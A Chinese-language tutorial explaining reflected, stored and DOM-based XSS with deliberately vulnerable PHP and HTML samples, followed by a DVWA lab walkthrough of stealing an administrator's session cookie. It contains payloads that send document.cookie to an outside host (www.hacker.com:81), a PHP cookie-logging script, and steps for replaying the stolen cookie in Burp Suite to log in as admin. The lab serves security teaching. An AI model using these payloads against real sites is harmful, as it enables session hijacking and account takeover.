XSS (跨站脚本攻击) 分析与实战

发布时间:2026/8/28 5:30:45

XSS (跨站脚本攻击) 分析与实战
一、漏洞原理1、XSS简介XSS全称Cross Site Scripting即跨站脚本攻击为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是最常见的 Web 应用程序安全漏洞之一这类漏洞能够使攻击者嵌入恶意脚本代码一般是JS代码到正常用户会访问到的页面中当正常用户访问该页面时恶意脚本代码将会在用户的浏览器上执行从而达到恶意攻击用户的目的。从上述内容可知XSS属于客户端攻击受害者最终是用户。但不要以为受害者是用户就认为跟自己的网站、服务器安全没有关系不要忘记网站管理人员也属于用户之一这就意味着 XSS 可以攻击 “服务器端”。因为管理员要比普通用户的权限大得多而攻击者就有可能靠管理员身份作为“跳板”实施攻击。2、XSS原理解析:XSS攻击在网页中嵌入的恶意脚本代码一般是使用 JavaScript 语言JavaScript 可以获取用户的Cookie、改变网页内容、URL跳转那么存在XSS漏洞的网站就可以盗取用户Cookie、黑掉页面、导航到恶意网站而攻击者需要做的仅仅是向Web页面中注入JavaScript 代码。下面是一个简单的XSS漏洞实例代码如下htmlheadmeta contenttext/html;charsetutf-8/titlexss漏洞示例/title/headbodycenterh6把输入的字符串输出/h6form action#methodgeth6请输入/h6input typetextnamexssbr/input typesubmitvalue确定/formhr?phpif(isset($_GET[xss])){echoinput typetext value.$_GET[xss].;}else{echoinput typetext;}?/center/body/html在代码中通过GET获取参数xss的值然后通过echo输出一个input标签并将xss的值放入input标签的value中。例如我们输入123会在下面的输出框中输出123。那么当我们输入scriptalert(1)/script时输出到页面的 HTML代码变为inputtypetextvaluescriptalert(1)/script发现输入的双引号闭合了value属性的双引号输入的闭合了input的标签导致我们后面输入的恶意代码成为另一个HTML标签。当浏览器渲染时执行了scriptalert(1)/scriptJS函数alert()导致浏览器弹窗。在真实的攻击中攻击者通过构造JS代码来实现一些 “特殊效果”。攻击者不仅仅弹出一个框通常使用script srchttp:// www.hacker.com/x.txt/script方式来加载外部脚本而在x.txt中就存放着攻击者的恶意JS 代码这段代码可能是用来盗取用户的Cookie也可能是监控键盘记录等恶意行为。注JavaScript 加载外部的代码文件可以是任意扩展名无扩展名也可以)如script srchttp://www.secbug.org/x.jpg/script即使文件为图片扩展名x.jpg但只要其文件中包含JS代码就会被执行。3、XSS的分类XSS主要被分为三类分别是反射型、存储型 和 DOM型。这些有一些相同的特点但是在如何确定和利用方面有一些区别下面依次分析它们。3.1、反射型XSS反射型XSS 也被称为 非持久性XSS是最容易出现的一种XSS漏洞。当用户访问一个带有 XSS 代码的 URL 请求时服务器端接收数据后处理然后把带有 XSS 代码的数据发送到浏览器浏览器解析这段带有 XSS 代码的数据后最终造成 XSS 漏洞。这个过程就像一次反射故称为 “反射型XSS”。下面用 DVWA 为大家进行演示在输入框中构造如下JS代码scriptalert(XSS)/script这代码是进行弹窗操作如果页面出现弹窗说明我们插入的恶意代码被执行结果如下可以看到页面出现弹窗即我们输入的代码被程序成功解析网站存在反射型XSS漏洞。可能有人会说这似乎并没有造成什么危害不就是弹出一个框吗那么请看下面这个例子。假如网站 www.XXX.com/xss.php 存在XSS反射型漏洞那么攻击者的步骤可能如下用户 A 是网站 www.XXX.com 的忠实用户此时正泡在论坛看信息。攻击者发现 www.XXX.com/xss.php 存在反射型XSS漏洞然后精心构造JS代码此段代码可以盗取用户Cookie发送到指定的站点 www.hacker.com。攻击者将带有反射型XSS漏洞的URL通过站内私信发送给用户A信的内容为一些诱惑信息目的是为让用户A单击链接。假设用户 A 点击了带有XSS漏洞的URL那么将会把自己的Cookie 发送到网站www.XXX.com。攻击者接收到用户 A 的会话Cookie可以直接利用Cookie 以 A 的身份登录www.XXX.org从而获取用户 A 的敏感信息。以上步骤通过使用反射型XSS漏洞可以以用户 A 的身份登录网站这就是其危害如果A的身份是管理员那么危害将更加严重。这是最简单的一种攻击攻击者截获通过验证的用户会话令牌。劫持用户的会话后攻击者就可以访问该用户经授权访问的所有数据和功能其过程可以用一张图表示3.2、存储型XSS存储型XSS又被称为持久性XSS是最危险的一种跨站脚本。允许用户存储数据的 Web 应用都可能会出现存储型XSS漏洞当攻击者提交一段XSS代码后被服务器端接收并存储然后不经过过滤或净化就显示给其他用户这时候就会出现存储型XSS。存储型与反射型、DOM型相比具有更高的隐蔽性危害性也更大。它们之间最大的区别在于反射型XSS 与 DOM型XSS 执行都必须依靠用户手动去触发而存储型XSS却不需要。利用存储型XSS漏洞的攻击至少需要向 Web 应用提出两个请求。攻击者在第一个请求中构造JavaScript应用程序接受并保存。在第二个请求中一名受害者查看包含恶意代码的页面这时JavaScript开始执行。下面以 DVWA 的存储型XSS为例核心代码:?phpif(isset($_POST[btnSign])){// Get input$messagetrim($_POST[mtxMessage]);$nametrim($_POST[txtName]);// Sanitize message input$messagestripslashes($message);$message((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$message):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));// Sanitize name input$name((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$name):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));// Update database$queryINSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);}?在上面代码中获取POST参数mtxMessage和txtName然后将参数插入到数据库的表中并显示到页面上。页面的功能是获取用户名字和内容并插入到数据库中如果我们输入恶意代码那么也会插入到数据库中只要用户访问这个页面那么恶意代码就会执行。在页面提交以下数据可以看到数据成功存储到了数据库那么当其它用户访问这个页面时就会执行存储的JS代码。试想一下如果攻击者构造的JS代码是把当前用户的Cookie发送给攻击者时后果会有多严重3.3、DOM型XSSDOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端的解析响应触发XSS的是浏览器端即客户端的DOM解析。DOM的全称Document Object Model即文档对象模型DOM通常用于代表HTML、XHTML和XML中的对象。使用 DOM 可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。根据DOM规定HTML文档中的每个成分都是一个节点。DOM的规定如下整个文档是一个文档节点每个HTML标签是一个元素节点包含在HTML元素中的文本是文本节点每一个HTML属性是一个属性节点节点与节点之间都有层级关系这些节点按照层级关系组成了 DOM 的整体结构节点树如图所示在一个web页面中有许多组成页面的元素当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象接着生成各个子文档对象每个页面元素对应一个文档对象每个文档对象包含属性、方法和事件。通过JS脚本可以对文档对象进行编辑从而修改页面的元素。也就是说客户端的脚本程序可以通过DOM来动态修改页面内容从客户端获取DOM中的数据并在本地执行。基于这个特性就可以利用JS脚本来实现XSS漏洞的利用。可能触发DOM型XSS的属性document.referer属性window.name属性location属性innerHTML属性documen.write属性来看一个例子代码如下htmlheadmetacontenttext/html;charsetutf-8/titleXSS DOM/titlescripttypetext/javascriptfunctionreplace(){document.getElementById(id1).innerHTMLdocument.getElementById(dom_input).value;}/script/headbodycenterh6idid1这里显示输入的内容/h6formaction#methodpostinputtypetextiddom_inputvalue输入br/inputtypebuttonvalue替换onclickreplace()/formhr/center/body/html程序存在JS函数replace()该函数的作用是通过DOM操作将元素 id1 的内容修改为元素 dom_input 的内容。这个页面的功能是输入框中输入什么上面得文字就会被替换成什么。输入恶意代码img src1 onerroralert(1)单击替换按钮页面出现弹框说明我们的代码被浏览器成功解析导致DOM XSS。二、靶场实战前面介绍了 XSS 简单原理与几种类型接下来通过实例来演示XSS盗取用户的Cookie。XSS实现盗取管理员Cookie并登录这里测试用的工具是DVWA首先登陆DVWA选择low模式默认是impossible选择XSS(Reflected)首先对页面测试输入代码scriptalert(1)/script界面出现弹窗说明存在XSS跨站漏洞接下来在自己的网站目录下创建一个如下的php文件getcookie.php?php$cookie$_GET[cookie];//以GET方式获取cookie$logfopen(cookie.txt,a);fwrite($log,$cookie.\n);//写入文件并保存fclose($log);?接下来在有XSS漏洞的地方输入如下代码scriptdocument.locationhttp://www.hacker.com:81/getcookie.php?cookiedocument.cookie;/script注在JavaScript 中document.location 用于跳转页面document.cookie 可以创建 、读取、及删除cookie。或scriptvarinewImage;i.srchttp://www.hacker.com:81/getcookie.php?cookiedocument.cookie;/script点击提交后受攻击的用户的Cookie信息就会发送到攻击者的服务器并保存。可以看到Cookie信息成功发送到自己服务器里。接着使用我们正常用户进行登录DVWA 中内置了一些其他用户这里使用用户smithy 密码password进行登录并开启 burpsuite 抓包在 burpsuit 放行第一个请求即下面这个带用户名和密码的包将存在 Cookie 信息的请求发送到 Repeater 进行重放攻击替换用户 Cookie 信息将现在的普通用户的 cookie 信息替换成前期抓到的 admin 用户的cookie 信息。成功以管理员账户登录点击 Show response in browser 在浏览器中打开点击copy在浏览器中打开测试结束

相关新闻

Git 提交代码 常用命令

Git 提交代码 常用命令

2026/8/26 7:20:22

Git 提交代码 常用命令Git 提交代码 常用命令查看状态 git status 提交代码 git add . 提交到本地仓库 git commit -m "提交到本地仓库"查看分支 git branch创建分支 git checkout -b login切换到master分支 git checkout master login分支 合并到 主分支 [合并分支…

推荐开源项目:numactl - 简单的非均匀内存访问(NUMA)策略支持库

推荐开源项目:numactl - 简单的非均匀内存访问(NUMA)策略支持库

2026/8/23 3:22:58

推荐开源项目:numactl - 简单的非均匀内存访问(NUMA)策略支持库 【免费下载链接】numactl NUMA support for Linux 项目地址: https://gitcode.com/gh_mirrors/nu/numactl 1、项目介绍 numactl是一个强大的工具,它允许你在…

每日安全情报报告 · 2026-07-03

每日安全情报报告 · 2026-07-03

2026/8/27 23:31:07

每日安全情报报告 2026-07-03 报告日期:2026-07-03 | 覆盖时段:2026-07-01 ~ 2026-07-03 数据来源:CISA KEV / NVD / The Hacker News / BleepingComputer / CybersecurityNews / Threat-Modeling / watchTowr Labs / Lupovis / FreeBuf / 各…

“AI室内设计工作流怎么搭?从需求整理到方案汇报的可复用方法“

“AI室内设计工作流怎么搭?从需求整理到方案汇报的可复用方法“

2026/8/28 5:28:48

“AI室内设计工作流:需求整理、方案推演与成果复核” meta_description: “本文用一个可复用的 AI 室内设计工作流,拆解需求整理、资料准备、方案推演、材料确认和成果复核,帮助设计团队把生成工具放进真实项目流程。” slug: ai-interior-de…

AI视频翻译工具怎么选:五款主流工具实测对比,总有一款合适你

AI视频翻译工具怎么选:五款主流工具实测对比,总有一款合适你

2026/8/28 5:28:48

1. 视频翻译工具能做什么 学习英语、外语以及海外内容时,不少人希望把视频里的语音转成文字,再翻译成中文,方便做笔记和复习。这类工具通常先做语音识别,把视频或音频里的说话内容转成文字稿,再翻译成目标语言&#xf…

管理者AI协作模式:从替代执行到决策增能的四步法

管理者AI协作模式:从替代执行到决策增能的四步法

2026/8/28 5:28:48

管理者每天要处理的,早就不是“把事情做完”,而是“在信息过载里做对决定”。过去半年,我观察到很多管理者开始让 AI 介入日常事务,但大多数人的用法还停留在“让 AI 帮我写周报”“让 AI 概括会议纪要”。这类用法不是没有价值&a…

开源了!用 MCP 把蓝湖设计稿直接接进 Cursor,AI 按你的 Vue/React 项目写组件

开源了!用 MCP 把蓝湖设计稿直接接进 Cursor,AI 按你的 Vue/React 项目写组件

2026/8/28 5:28:48

前言:设计稿和 AI 之间,还隔着一堵墙 做前端的朋友大概都经历过这种场景: 你把蓝湖链接丢给 Cursor,说「帮我还原这个页面」。AI 吭哧吭哧生成一份 index.html,打开一看——样式大概像,但跟你的 Vue 项目…

蓝桥杯矩阵计数:从状压DP到竞赛思维的通用解法

蓝桥杯矩阵计数:从状压DP到竞赛思维的通用解法

2026/8/28 5:28:48

1. 项目概述:从“矩阵计数”到竞赛思维的跃迁看到“蓝桥杯19国赛-矩阵计数”这个标题,很多参加过蓝桥杯或者准备参加的同学,第一反应可能是去翻找2019年国赛的原题,然后试图复现一个具体的解法。但今天我想聊的,远不止…

融合量子机器学习与Agentic AI的医疗时序死亡风险预测

融合量子机器学习与Agentic AI的医疗时序死亡风险预测

2026/8/28 5:18:48

医疗时序预测项目里,QuanTiMedAI 这个名称代表一个典型的探索方向:用量子增强的时间序列模型处理心搏骤停患者的死亡风险预测,同时用 Agentic AI 来自动编排建模流程中的关键决策。它不是已经进入临床的成熟产品,而是一个把量子机…

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

2026/8/27 11:10:02

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

2026/8/27 7:25:23

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

2026/8/26 17:50:58

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

基于Claude Code的开源AI求职框架:从职位搜索到Offer的全自动化闭环

基于Claude Code的开源AI求职框架:从职位搜索到Offer的全自动化闭环

2026/8/28 0:08:32

当AI助手能够独立完成从职位匹配、简历定制到面试准备的全链路求职流程时,求职不再是一场信息战,而是一场工程化战役。框架概述:本地运行的AI求职引擎这是一个构建在Claude Code之上的开源AI求职框架,核心理念是"在工作者的机…

Godot 4 仿 agar.io:相机缩放被 max_zoom 卡死,窗口越大球越小的根因与修复

Godot 4 仿 agar.io:相机缩放被 max_zoom 卡死,窗口越大球越小的根因与修复

2026/8/28 0:08:32

1. 问题现象 在 Godot 4 仿 agar.io 的 2D 项目中,相机缩放设计为「由球组整体尺寸决定」,世界可见高度恒定,窗口只作为视口裁剪。默认小窗口 1280x720 时相机高度正常;但窗口最大化到 2940x1912 后,视角被明显拉远、…

从软件测试大赛到实战:Java+Selenium自动化测试进阶指南

从软件测试大赛到实战:Java+Selenium自动化测试进阶指南

2026/8/28 0:08:32

1. 缘起:从校园到赛场,我的软件测试之路几年前,我还是一个在校园里对着Java课本和“Hello World”程序挠头的普通学生。软件测试对我来说,只是一个在开发流程末尾、用鼠标点点按钮的模糊概念。直到我偶然在学校的公告栏上看到了“…

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

2026/8/22 2:02:26

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…

导师推荐!2026最新AI论文工具测评与实用推荐

导师推荐!2026最新AI论文工具测评与实用推荐

2026/8/26 18:07:30

2026年真正好用的AI论文工具,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

告别游戏崩溃:XCOM 2模组管理器的智能革命

告别游戏崩溃:XCOM 2模组管理器的智能革命

2026/8/26 17:57:52

告别游戏崩溃:XCOM 2模组管理器的智能革命 【免费下载链接】xcom2-launcher The Alternative Mod Launcher (AML) is a replacement for the default game launchers from XCOM 2 and XCOM Chimera Squad. 项目地址: https://gitcode.com/gh_mirrors/xc/xcom2-lau…